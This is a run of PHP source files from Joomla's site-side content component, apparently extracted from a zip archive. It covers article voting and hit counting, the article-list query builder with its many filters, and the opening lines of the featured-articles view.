     * @return  boolean  True if successful; false otherwise and internal error set.
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk = (!empty($pk)) ? $pk : (int) $this->getState('article.id');

            $table = Table::getInstance('Content', 'JTable');
            $table->hit($pk);
        }

        return true;
    }

    /**
     * Save user vote on article
     *
     * @param   integer  $pk    Joomla Article Id
     * @param   integer  $rate  Voting rate
     *
     * @return  boolean          Return true on success
     */
    public function storeVote($pk = 0, $rate = 0)
    {
        $pk   = (int) $pk;
        $rate = (int) $rate;

        if ($rate >= 1 && $rate <= 5 && $pk > 0) {
            $userIP = IpHelper::getIp();

            // Initialize variables.
            $db    = $this->getDatabase();
            $query = $db->getQuery(true);

            // Create the base select statement.
            $query->select('*')
                ->from($db->quoteName('#__content_rating'))
                ->where($db->quoteName('content_id') . ' = :pk')
                ->bind(':pk', $pk, ParameterType::INTEGER);

            // Set the query and load the result.
            $db->setQuery($query);

            // Check for a database error.
            try {
                $rating = $db->loadObject();
            } catch (\RuntimeException $e) {
                Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');

                return false;
            }

            // There are no ratings yet, so lets insert our rating
            if (!$rating) {
                $query = $db->getQuery(true);

                // Create the base insert statement.
                $query->insert($db->quoteName('#__content_rating'))
                    ->columns(
                        [
                            $db->quoteName('content_id'),
                            $db->quoteName('lastip'),
                            $db->quoteName('rating_sum'),
                            $db->quoteName('rating_count'),
                        ]
                    )
                    ->values(':pk, :ip, :rate, 1')
                    ->bind(':pk', $pk, ParameterType::INTEGER)
                    ->bind(':ip', $userIP)
                    ->bind(':rate', $rate, ParameterType::INTEGER);

                // Set the query and execute the insert.
                $db->setQuery($query);

                try {
                    $db->execute();
                } catch (\RuntimeException $e) {
                    Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');

                    return false;
                }
            } else {
                if ($userIP != $rating->lastip) {
                    $query = $db->getQuery(true);

                    // Create the base update statement.
                    $query->update($db->quoteName('#__content_rating'))
                        ->set(
                            [
                                $db->quoteName('rating_count') . ' = ' . $db->quoteName('rating_count') . ' + 1',
                                $db->quoteName('rating_sum') . ' = ' . $db->quoteName('rating_sum') . ' + :rate',
                                $db->quoteName('lastip') . ' = :ip',
                            ]
                        )
                        ->where($db->quoteName('content_id') . ' = :pk')
                        ->bind(':rate', $rate, ParameterType::INTEGER)
                        ->bind(':ip', $userIP)
                        ->bind(':pk', $pk, ParameterType::INTEGER);

                    // Set the query and execute the update.
                    $db->setQuery($query);

                    try {
                        $db->execute();
                    } catch (\RuntimeException $e) {
                        Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');

                        return false;
                    }
                } else {
                    return false;
                }
            }

            $this->cleanCache();

            return true;
        }

        Factory::getApplication()->enqueueMessage(Text::sprintf('COM_CONTENT_INVALID_RATING', $rate), 'error');

        return false;
    }

    /**
     * Cleans the cache of com_content and content modules
     *
     * @param   string   $group     The cache group
     * @param   integer  $clientId  No longer used, will be removed without replacement
     *                              @deprecated   4.3 will be removed in 6.0
     *
     * @return  void
     *
     * @since   3.9.9
     */
    protected function cleanCache($group = null, $clientId = 0)
    {
        parent::cleanCache('com_content');
        parent::cleanCache('mod_articles_archive');
        parent::cleanCache('mod_articles_categories');
        parent::cleanCache('mod_articles_category');
        parent::cleanCache('mod_articles_latest');
        parent::cleanCache('mod_articles_news');
        parent::cleanCache('mod_articles_popular');
    }
}
PK���\��u%�%�'com_content/src/Model/ArticlesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\AssociationHelper;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving lists of articles.
 *
 * @since  1.6
 */
class ArticlesModel extends ListModel
{
    /**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @see     \JController
     * @since   1.6
     */
    public function __construct($config = [])
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'title', 'a.title',
                'alias', 'a.alias',
                'checked_out', 'a.checked_out',
                'checked_out_time', 'a.checked_out_time',
                'catid', 'a.catid', 'category_title',
                'state', 'a.state',
                'access', 'a.access', 'access_level',
                'created', 'a.created',
                'created_by', 'a.created_by',
                'ordering', 'a.ordering',
                'featured', 'a.featured',
                'language', 'a.language',
                'hits', 'a.hits',
                'publish_up', 'a.publish_up',
                'publish_down', 'a.publish_down',
                'images', 'a.images',
                'urls', 'a.urls',
                'filter_tag',
            ];
        }

        parent::__construct($config);
    }

    /**
     * Method to auto-populate the model state.
     *
     * This method should only be called once per instantiation and is designed
     * to be called on the first call to the getState() method unless the model
     * configuration flag to ignore the request is set.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   3.0.1
     */
    protected function populateState($ordering = 'ordering', $direction = 'ASC')
    {
        $app   = Factory::getApplication();
        $input = $app->getInput();

        // List state information
        $value = $input->get('limit', $app->get('list_limit', 0), 'uint');
        $this->setState('list.limit', $value);

        $value = $input->get('limitstart', 0, 'uint');
        $this->setState('list.start', $value);

        $value = $input->get('filter_tag', 0, 'uint');
        $this->setState('filter.tag', $value);

        $orderCol = $input->get('filter_order', 'a.ordering');

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'a.ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $input->get('filter_order_Dir', 'ASC');

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $params = $app->getParams();
        $this->setState('params', $params);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))) {
            // Filter on published for those who do not have edit or edit.state rights.
            $this->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());

        // Process show_noauth parameter
        if ((!$params->get('show_noauth')) || (!ComponentHelper::getParams('com_content')->get('show_noauth'))) {
            $this->setState('filter.access', true);
        } else {
            $this->setState('filter.access', false);
        }

        $this->setState('layout', $input->getString('layout'));
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     *
     * @since   1.6
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . serialize($this->getState('filter.published'));
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.featured');
        $id .= ':' . serialize($this->getState('filter.article_id'));
        $id .= ':' . $this->getState('filter.article_id.include');
        $id .= ':' . serialize($this->getState('filter.category_id'));
        $id .= ':' . $this->getState('filter.category_id.include');
        $id .= ':' . serialize($this->getState('filter.author_id'));
        $id .= ':' . $this->getState('filter.author_id.include');
        $id .= ':' . serialize($this->getState('filter.author_alias'));
        $id .= ':' . $this->getState('filter.author_alias.include');
        $id .= ':' . $this->getState('filter.date_filtering');
        $id .= ':' . $this->getState('filter.date_field');
        $id .= ':' . $this->getState('filter.start_date_range');
        $id .= ':' . $this->getState('filter.end_date_range');
        $id .= ':' . $this->getState('filter.relative_date');
        $id .= ':' . serialize($this->getState('filter.tag'));

        return parent::getStoreId($id);
    }

    /**
     * Get the master query for retrieving a list of articles subject to the model state.
     *
     * @return  \Joomla\Database\DatabaseQuery
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $user = $this->getCurrentUser();

        // Create a new query object.
        $db = $this->getDatabase();

        /** @var \Joomla\Database\DatabaseQuery $query */
        $query = $db->getQuery(true);

        $nowDate = Factory::getDate()->toSql();

        $conditionArchived    = ContentComponent::CONDITION_ARCHIVED;
        $conditionUnpublished = ContentComponent::CONDITION_UNPUBLISHED;

        // Select the required fields from the table.
        $query->select(
            $this->getState(
                'list.select',
                [
                    $db->quoteName('a.id'),
                    $db->quoteName('a.title'),
                    $db->quoteName('a.alias'),
                    $db->quoteName('a.introtext'),
                    $db->quoteName('a.fulltext'),
                    $db->quoteName('a.checked_out'),
                    $db->quoteName('a.checked_out_time'),
                    $db->quoteName('a.catid'),
                    $db->quoteName('a.created'),
                    $db->quoteName('a.created_by'),
                    $db->quoteName('a.created_by_alias'),
                    $db->quoteName('a.modified'),
                    $db->quoteName('a.modified_by'),
                    // Use created if publish_up is null
                    'CASE WHEN ' . $db->quoteName('a.publish_up') . ' IS NULL THEN ' . $db->quoteName('a.created')
                        . ' ELSE ' . $db->quoteName('a.publish_up') . ' END AS ' . $db->quoteName('publish_up'),
                    $db->quoteName('a.publish_down'),
                    $db->quoteName('a.images'),
                    $db->quoteName('a.urls'),
                    $db->quoteName('a.attribs'),
                    $db->quoteName('a.metadata'),
                    $db->quoteName('a.metakey'),
                    $db->quoteName('a.metadesc'),
                    $db->quoteName('a.access'),
                    $db->quoteName('a.hits'),
                    $db->quoteName('a.featured'),
                    $db->quoteName('a.language'),
                    $query->length($db->quoteName('a.fulltext')) . ' AS ' . $db->quoteName('readmore'),
                    $db->quoteName('a.ordering'),
                ]
            )
        )
            ->select(
                [
                    $db->quoteName('fp.featured_up'),
                    $db->quoteName('fp.featured_down'),
                    // Published/archived article in archived category is treated as archived article. If category is not published then force 0.
                    'CASE WHEN ' . $db->quoteName('c.published') . ' = 2 AND ' . $db->quoteName('a.state') . ' > 0 THEN ' . $conditionArchived
                        . ' WHEN ' . $db->quoteName('c.published') . ' != 1 THEN ' . $conditionUnpublished
                        . ' ELSE ' . $db->quoteName('a.state') . ' END AS ' . $db->quoteName('state'),
                    $db->quoteName('c.title', 'category_title'),
                    $db->quoteName('c.path', 'category_route'),
                    $db->quoteName('c.access', 'category_access'),
                    $db->quoteName('c.alias', 'category_alias'),
                    $db->quoteName('c.language', 'category_language'),
                    $db->quoteName('c.published'),
                    $db->quoteName('c.published', 'parents_published'),
                    $db->quoteName('c.lft'),
                    'CASE WHEN ' . $db->quoteName('a.created_by_alias') . ' > ' . $db->quote(' ') . ' THEN ' . $db->quoteName('a.created_by_alias')
                        . ' ELSE ' . $db->quoteName('ua.name') . ' END AS ' . $db->quoteName('author'),
                    $db->quoteName('ua.email', 'author_email'),
                    $db->quoteName('uam.name', 'modified_by_name'),
                    $db->quoteName('parent.title', 'parent_title'),
                    $db->quoteName('parent.id', 'parent_id'),
                    $db->quoteName('parent.path', 'parent_route'),
                    $db->quoteName('parent.alias', 'parent_alias'),
                    $db->quoteName('parent.language', 'parent_language'),
                ]
            )
            ->from($db->quoteName('#__content', 'a'))
            ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid'))
            ->join('LEFT', $db->quoteName('#__users', 'ua'), $db->quoteName('ua.id') . ' = ' . $db->quoteName('a.created_by'))
            ->join('LEFT', $db->quoteName('#__users', 'uam'), $db->quoteName('uam.id') . ' = ' . $db->quoteName('a.modified_by'))
            ->join('LEFT', $db->quoteName('#__categories', 'parent'), $db->quoteName('parent.id') . ' = ' . $db->quoteName('c.parent_id'));

        $params      = $this->getState('params');
        $orderby_sec = $params->get('orderby_sec');

        // Join over the frontpage articles if required.
        $frontpageJoin = 'LEFT';

        if ($this->getState('filter.frontpage')) {
            if ($orderby_sec === 'front') {
                $query->select($db->quoteName('fp.ordering'));
                $frontpageJoin = 'INNER';
            } else {
                $query->where($db->quoteName('a.featured') . ' = 1');
            }

            $query->where(
                [
                    '(' . $db->quoteName('fp.featured_up') . ' IS NULL OR ' . $db->quoteName('fp.featured_up') . ' <= :frontpageUp)',
                    '(' . $db->quoteName('fp.featured_down') . ' IS NULL OR ' . $db->quoteName('fp.featured_down') . ' >= :frontpageDown)',
                ]
            )
                ->bind(':frontpageUp', $nowDate)
                ->bind(':frontpageDown', $nowDate);
        } elseif ($orderby_sec === 'front' || $this->getState('list.ordering') === 'fp.ordering') {
            $query->select($db->quoteName('fp.ordering'));
        }

        $query->join($frontpageJoin, $db->quoteName('#__content_frontpage', 'fp'), $db->quoteName('fp.content_id') . ' = ' . $db->quoteName('a.id'));

        if (PluginHelper::isEnabled('content', 'vote')) {
            // Join on voting table
            $query->select(
                [
                    'COALESCE(NULLIF(ROUND(' . $db->quoteName('v.rating_sum') . ' / ' . $db->quoteName('v.rating_count') . ', 1), 0), 0)'
                        . ' AS ' . $db->quoteName('rating'),
                    'COALESCE(NULLIF(' . $db->quoteName('v.rating_count') . ', 0), 0) AS ' . $db->quoteName('rating_count'),
                ]
            )
                ->join('LEFT', $db->quoteName('#__content_rating', 'v'), $db->quoteName('a.id') . ' = ' . $db->quoteName('v.content_id'));
        }

        // Filter by access level.
        if ($this->getState('filter.access', true)) {
            $groups = $this->getState('filter.viewlevels', $user->getAuthorisedViewLevels());
            $query->whereIn($db->quoteName('a.access'), $groups)
                ->whereIn($db->quoteName('c.access'), $groups);
        }

        // Filter by published state
        $condition = $this->getState('filter.published');

        if (is_numeric($condition) && $condition == 2) {
            /**
             * If category is archived then article has to be published or archived.
             * Or category is published then article has to be archived.
             */
            $query->where('((' . $db->quoteName('c.published') . ' = 2 AND ' . $db->quoteName('a.state') . ' > :conditionUnpublished)'
                . ' OR (' . $db->quoteName('c.published') . ' = 1 AND ' . $db->quoteName('a.state') . ' = :conditionArchived))')
                ->bind(':conditionUnpublished', $conditionUnpublished, ParameterType::INTEGER)
                ->bind(':conditionArchived', $conditionArchived, ParameterType::INTEGER);
        } elseif (is_numeric($condition)) {
            $condition = (int) $condition;

            // Category has to be published
            $query->where($db->quoteName('c.published') . ' = 1 AND ' . $db->quoteName('a.state') . ' = :condition')
                ->bind(':condition', $condition, ParameterType::INTEGER);
        } elseif (is_array($condition)) {
            // Category has to be published
            $query->where(
                $db->quoteName('c.published') . ' = 1 AND ' . $db->quoteName('a.state')
                    . ' IN (' . implode(',', $query->bindArray($condition)) . ')'
            );
        }

        // Filter by featured state
        $featured = $this->getState('filter.featured');

        switch ($featured) {
            case 'hide':
                $query->extendWhere(
                    'AND',
                    [
                        $db->quoteName('a.featured') . ' = 0',
                        '(' . $db->quoteName('fp.featured_up') . ' IS NOT NULL AND ' . $db->quoteName('fp.featured_up') . ' >= :featuredUp)',
                        '(' . $db->quoteName('fp.featured_down') . ' IS NOT NULL AND ' . $db->quoteName('fp.featured_down') . ' <= :featuredDown)',
                    ],
                    'OR'
                )
                    ->bind(':featuredUp', $nowDate)
                    ->bind(':featuredDown', $nowDate);
                break;

            case 'only':
                $query->where(
                    [
                        $db->quoteName('a.featured') . ' = 1',
                        '(' . $db->quoteName('fp.featured_up') . ' IS NULL OR ' . $db->quoteName('fp.featured_up') . ' <= :featuredUp)',
                        '(' . $db->quoteName('fp.featured_down') . ' IS NULL OR ' . $db->quoteName('fp.featured_down') . ' >= :featuredDown)',
                    ]
                )
                    ->bind(':featuredUp', $nowDate)
                    ->bind(':featuredDown', $nowDate);
                break;

            case 'show':
            default:
                // Normally we do not discriminate between featured/unfeatured items.
                break;
        }

        // Filter by a single or group of articles.
        $articleId = $this->getState('filter.article_id');

        if (is_numeric($articleId)) {
            $articleId = (int) $articleId;
            $type      = $this->getState('filter.article_id.include', true) ? ' = ' : ' <> ';
            $query->where($db->quoteName('a.id') . $type . ':articleId')
                ->bind(':articleId', $articleId, ParameterType::INTEGER);
        } elseif (is_array($articleId)) {
            $articleId = ArrayHelper::toInteger($articleId);

            if ($this->getState('filter.article_id.include', true)) {
                $query->whereIn($db->quoteName('a.id'), $articleId);
            } else {
                $query->whereNotIn($db->quoteName('a.id'), $articleId);
            }
        }

        // Filter by a single or group of categories
        $categoryId = $this->getState('filter.category_id');

        if (is_numeric($categoryId)) {
            $type = $this->getState('filter.category_id.include', true) ? ' = ' : ' <> ';

            // Add subcategory check
            $includeSubcategories = $this->getState('filter.subcategories', false);

            if ($includeSubcategories) {
                $categoryId = (int) $categoryId;
                $levels     = (int) $this->getState('filter.max_category_levels', 1);

                // Create a subquery for the subcategory list
                $subQuery = $db->getQuery(true)
                    ->select($db->quoteName('sub.id'))
                    ->from($db->quoteName('#__categories', 'sub'))
                    ->join(
                        'INNER',
                        $db->quoteName('#__categories', 'this'),
                        $db->quoteName('sub.lft') . ' > ' . $db->quoteName('this.lft')
                            . ' AND ' . $db->quoteName('sub.rgt') . ' < ' . $db->quoteName('this.rgt')
                    )
                    ->where($db->quoteName('this.id') . ' = :subCategoryId');

                $query->bind(':subCategoryId', $categoryId, ParameterType::INTEGER);

                if ($levels >= 0) {
                    $subQuery->where($db->quoteName('sub.level') . ' <= ' . $db->quoteName('this.level') . ' + :levels');
                    $query->bind(':levels', $levels, ParameterType::INTEGER);
                }

                // Add the subquery to the main query
                $query->where(
                    '(' . $db->quoteName('a.catid') . $type . ':categoryId OR ' . $db->quoteName('a.catid') . ' IN (' . $subQuery . '))'
                );
                $query->bind(':categoryId', $categoryId, ParameterType::INTEGER);
            } else {
                $query->where($db->quoteName('a.catid') . $type . ':categoryId');
                $query->bind(':categoryId', $categoryId, ParameterType::INTEGER);
            }
        } elseif (is_array($categoryId) && (count($categoryId) > 0)) {
            $categoryId = ArrayHelper::toInteger($categoryId);

            if (!empty($categoryId)) {
                if ($this->getState('filter.category_id.include', true)) {
                    $query->whereIn($db->quoteName('a.catid'), $categoryId);
                } else {
                    $query->whereNotIn($db->quoteName('a.catid'), $categoryId);
                }
            }
        }

        // Filter by author
        $authorId    = $this->getState('filter.author_id');
        $authorWhere = '';

        if (is_numeric($authorId)) {
            $authorId    = (int) $authorId;
            $type        = $this->getState('filter.author_id.include', true) ? ' = ' : ' <> ';
            $authorWhere = $db->quoteName('a.created_by') . $type . ':authorId';
            $query->bind(':authorId', $authorId, ParameterType::INTEGER);
        } elseif (is_array($authorId)) {
            $authorId = array_values(array_filter($authorId, 'is_numeric'));

            if ($authorId) {
                $type        = $this->getState('filter.author_id.include', true) ? ' IN' : ' NOT IN';
                $authorWhere = $db->quoteName('a.created_by') . $type . ' (' . implode(',', $query->bindArray($authorId)) . ')';
            }
        }

        // Filter by author alias
        $authorAlias      = $this->getState('filter.author_alias');
        $authorAliasWhere = '';

        if (is_string($authorAlias)) {
            $type             = $this->getState('filter.author_alias.include', true) ? ' = ' : ' <> ';
            $authorAliasWhere = $db->quoteName('a.created_by_alias') . $type . ':authorAlias';
            $query->bind(':authorAlias', $authorAlias);
        } elseif (\is_array($authorAlias) && !empty($authorAlias)) {
            $type             = $this->getState('filter.author_alias.include', true) ? ' IN' : ' NOT IN';
            $authorAliasWhere = $db->quoteName('a.created_by_alias') . $type
                . ' (' . implode(',', $query->bindArray($authorAlias, ParameterType::STRING)) . ')';
        }

        if (!empty($authorWhere) && !empty($authorAliasWhere)) {
            $query->where('(' . $authorWhere . ' OR ' . $authorAliasWhere . ')');
        } elseif (!empty($authorWhere) || !empty($authorAliasWhere)) {
            // One of these is empty, the other is not so we just add both
            $query->where($authorWhere . $authorAliasWhere);
        }

        // Filter by start and end dates.
        if (
            !(\is_numeric($condition) && $condition == ContentComponent::CONDITION_UNPUBLISHED)
            && !(\is_array($condition) && \in_array(ContentComponent::CONDITION_UNPUBLISHED, $condition))
        ) {
            $query->where(
                [
                    '(' . $db->quoteName('a.publish_up') . ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publishUp)',
                    '(' . $db->quoteName('a.publish_down') . ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publishDown)',
                ]
            )
                ->bind(':publishUp', $nowDate)
                ->bind(':publishDown', $nowDate);
        }

        // Filter by Date Range or Relative Date
        $dateFiltering = $this->getState('filter.date_filtering', 'off');
        $dateField     = $db->escape($this->getState('filter.date_field', 'a.created'));

        switch ($dateFiltering) {
            case 'range':
                $startDateRange = $this->getState('filter.start_date_range', '');
                $endDateRange   = $this->getState('filter.end_date_range', '');

                if ($startDateRange || $endDateRange) {
                    $query->where($db->quoteName($dateField) . ' IS NOT NULL');

                    if ($startDateRange) {
                        $query->where($db->quoteName($dateField) . ' >= :startDateRange')
                            ->bind(':startDateRange', $startDateRange);
                    }

                    if ($endDateRange) {
                        $query->where($db->quoteName($dateField) . ' <= :endDateRange')
                            ->bind(':endDateRange', $endDateRange);
                    }
                }

                break;

            case 'relative':
                $relativeDate = (int) $this->getState('filter.relative_date', 0);
                $query->where(
                    $db->quoteName($dateField) . ' IS NOT NULL AND '
                    . $db->quoteName($dateField) . ' >= ' . $query->dateAdd($db->quote($nowDate), -1 * $relativeDate, 'DAY')
                );
                break;

            case 'off':
            default:
                break;
        }

        // Process the filter for list views with user-entered filters
        if (is_object($params) && ($params->get('filter_field') !== 'hide') && ($filter = $this->getState('list.filter'))) {
            // Clean filter variable
            $filter      = StringHelper::strtolower($filter);
            $monthFilter = $filter;
            $hitsFilter  = (int) $filter;
            $textFilter  = '%' . $filter . '%';

            switch ($params->get('filter_field')) {
                case 'author':
                    $query->where(
                        'LOWER(CASE WHEN ' . $db->quoteName('a.created_by_alias') . ' > ' . $db->quote(' ')
                        . ' THEN ' . $db->quoteName('a.created_by_alias') . ' ELSE ' . $db->quoteName('ua.name') . ' END) LIKE :search'
                    )
                        ->bind(':search', $textFilter);
                    break;

                case 'hits':
                    $query->where($db->quoteName('a.hits') . ' >= :hits')
                        ->bind(':hits', $hitsFilter, ParameterType::INTEGER);
                    break;

                case 'month':
                    if ($monthFilter != '') {
                        $monthStart = date("Y-m-d", strtotime($monthFilter)) . ' 00:00:00';
                        $monthEnd   = date("Y-m-t", strtotime($monthFilter)) . ' 23:59:59';

                        $query->where(
                            [
                                ':monthStart <= CASE WHEN a.publish_up IS NULL THEN a.created ELSE a.publish_up END',
                                ':monthEnd >= CASE WHEN a.publish_up IS NULL THEN a.created ELSE a.publish_up END',
                            ]
                        )
                            ->bind(':monthStart', $monthStart)
                            ->bind(':monthEnd', $monthEnd);
                    }
                    break;

                case 'title':
                default:
                    // Default to 'title' if parameter is not valid
                    $query->where('LOWER(' . $db->quoteName('a.title') . ') LIKE :search')
                        ->bind(':search', $textFilter);
                    break;
            }
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getApplication()->getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        // Filter by a single or group of tags.
        $tagId = $this->getState('filter.tag');

        if (is_array($tagId) && count($tagId) === 1) {
            $tagId = current($tagId);
        }

        if (is_array($tagId)) {
            $tagId = ArrayHelper::toInteger($tagId);

            if ($tagId) {
                $subQuery = $db->getQuery(true)
                    ->select('DISTINCT ' . $db->quoteName('content_item_id'))
                    ->from($db->quoteName('#__contentitem_tag_map'))
                    ->where(
                        [
                            $db->quoteName('tag_id') . ' IN (' . implode(',', $query->bindArray($tagId)) . ')',
                            $db->quoteName('type_alias') . ' = ' . $db->quote('com_content.article'),
                        ]
                    );

                $query->join(
                    'INNER',
                    '(' . $subQuery . ') AS ' . $db->quoteName('tagmap'),
                    $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
                );
            }
        } elseif ($tagId = (int) $tagId) {
            $query->join(
                'INNER',
                $db->quoteName('#__contentitem_tag_map', 'tagmap'),
                $db->quoteName('tagmap.content_item_id') . ' = ' . $db->quoteName('a.id')
                    . ' AND ' . $db->quoteName('tagmap.type_alias') . ' = ' . $db->quote('com_content.article')
            )
                ->where($db->quoteName('tagmap.tag_id') . ' = :tagId')
                ->bind(':tagId', $tagId, ParameterType::INTEGER);
        }

        // Add the list ordering clause.
        $query->order(
            $db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))
        );

        return $query;
    }

    /**
     * Method to get a list of articles.
     *
     * Overridden to inject convert the attribs field into a Registry object.
     *
     * @return  mixed  An array of objects on success, false on failure.
     *
     * @since   1.6
     */
    public function getItems()
    {
        $items  = parent::getItems();

        $user   = $this->getCurrentUser();
        $userId = $user->get('id');
        $guest  = $user->get('guest');
        $groups = $user->getAuthorisedViewLevels();
        $input  = Factory::getApplication()->getInput();

        // Get the global params
        $globalParams = ComponentHelper::getParams('com_content', true);

        $taggedItems = [];

        // Convert the parameter fields into objects.
        foreach ($items as $item) {
            $articleParams = new Registry($item->attribs);

            // Unpack readmore and layout params
            $item->alternative_readmore = $articleParams->get('alternative_readmore');
            $item->layout               = $articleParams->get('layout');

            $item->params = clone $this->getState('params');

            /**
             * For blogs, article params override menu item params only if menu param = 'use_article'
             * Otherwise, menu item params control the layout
             * If menu item is 'use_article' and there is no article param, use global
             */
            if (
                ($input->getString('layout') === 'blog') || ($input->getString('view') === 'featured')
                || ($this->getState('params')->get('layout_type') === 'blog')
            ) {
                // Create an array of just the params set to 'use_article'
                $menuParamsArray = $this->getState('params')->toArray();
                $articleArray    = [];

                foreach ($menuParamsArray as $key => $value) {
                    if ($value === 'use_article') {
                        // If the article has a value, use it
                        if ($articleParams->get($key) != '') {
                            // Get the value from the article
                            $articleArray[$key] = $articleParams->get($key);
                        } else {
                            // Otherwise, use the global value
                            $articleArray[$key] = $globalParams->get($key);
                        }
                    }
                }

                // Merge the selected article params
                if (count($articleArray) > 0) {
                    $articleParams = new Registry($articleArray);
                    $item->params->merge($articleParams);
                }
            } else {
                // For non-blog layouts, merge all of the article params
                $item->params->merge($articleParams);
            }

            // Get display date
            switch ($item->params->get('list_show_date')) {
                case 'modified':
                    $item->displayDate = $item->modified;
                    break;

                case 'published':
                    $item->displayDate = ($item->publish_up == 0) ? $item->created : $item->publish_up;
                    break;

                default:
                case 'created':
                    $item->displayDate = $item->created;
                    break;
            }

            /**
             * Compute the asset access permissions.
             * Technically guest could edit an article, but lets not check that to improve performance a little.
             */
            if (!$guest) {
                $asset = 'com_content.article.' . $item->id;

                // Check general edit permission first.
                if ($user->authorise('core.edit', $asset)) {
                    $item->params->set('access-edit', true);
                } elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) {
                    // Now check if edit.own is available.
                    // Check for a valid user and that they are the owner.
                    if ($userId == $item->created_by) {
                        $item->params->set('access-edit', true);
                    }
                }
            }

            $access = $this->getState('filter.access');

            if ($access) {
                // If the access filter has been set, we already have only the articles this user can view.
                $item->params->set('access-view', true);
            } else {
                // If no access filter is set, the layout takes some responsibility for display of limited information.
                if ($item->catid == 0 || $item->category_access === null) {
                    $item->params->set('access-view', in_array($item->access, $groups));
                } else {
                    $item->params->set('access-view', in_array($item->access, $groups) && in_array($item->category_access, $groups));
                }
            }

            // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
            if ($this->getState('load_tags', $item->params->get('show_tags', '1'))) {
                $item->tags             = new TagsHelper();
                $taggedItems[$item->id] = $item;
            }

            if (Associations::isEnabled() && $item->params->get('show_associations')) {
                $item->associations = AssociationHelper::displayAssociations($item->id);
            }
        }

        // Load tags of all items.
        if ($taggedItems) {
            $tagsHelper = new TagsHelper();
            $itemIds    = \array_keys($taggedItems);

            foreach ($tagsHelper->getMultipleItemTags('com_content.article', $itemIds) as $id => $tags) {
                $taggedItems[$id]->tags->itemTags = $tags;
            }
        }

        return $items;
    }

    /**
     * Method to get the starting number of items for the data set.
     *
     * @return  integer  The starting number of items available in the data set.
     *
     * @since   3.0.1
     */
    public function getStart()
    {
        return $this->getState('list.start');
    }

    /**
     * Count Items by Month
     *
     * @return  mixed  An array of objects on success, false on failure.
     *
     * @since   3.9.0
     */
    public function countItemsByMonth()
    {
        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Get the list query.
        $listQuery = $this->getListQuery();
        $bounded   = $listQuery->getBounded();

        // Bind list query variables to our new query.
        $keys      = array_keys($bounded);
        $values    = array_column($bounded, 'value');
        $dataTypes = array_column($bounded, 'dataType');

        $query->bind($keys, $values, $dataTypes);

        $query
            ->select(
                'DATE(' .
                $query->concatenate(
                    [
                        $query->year($db->quoteName('publish_up')),
                        $db->quote('-'),
                        $query->month($db->quoteName('publish_up')),
                        $db->quote('-01'),
                    ]
                ) . ') AS ' . $db->quoteName('d')
            )
            ->select('COUNT(*) AS ' . $db->quoteName('c'))
            ->from('(' . $this->getListQuery() . ') AS ' . $db->quoteName('b'))
            ->group($db->quoteName('d'))
            ->order($db->quoteName('d') . ' DESC');

        return $db->setQuery($query)->loadObjectList();
    }
}
PK���\�j�*��*com_content/src/View/Featured/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Site\View\Featured;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
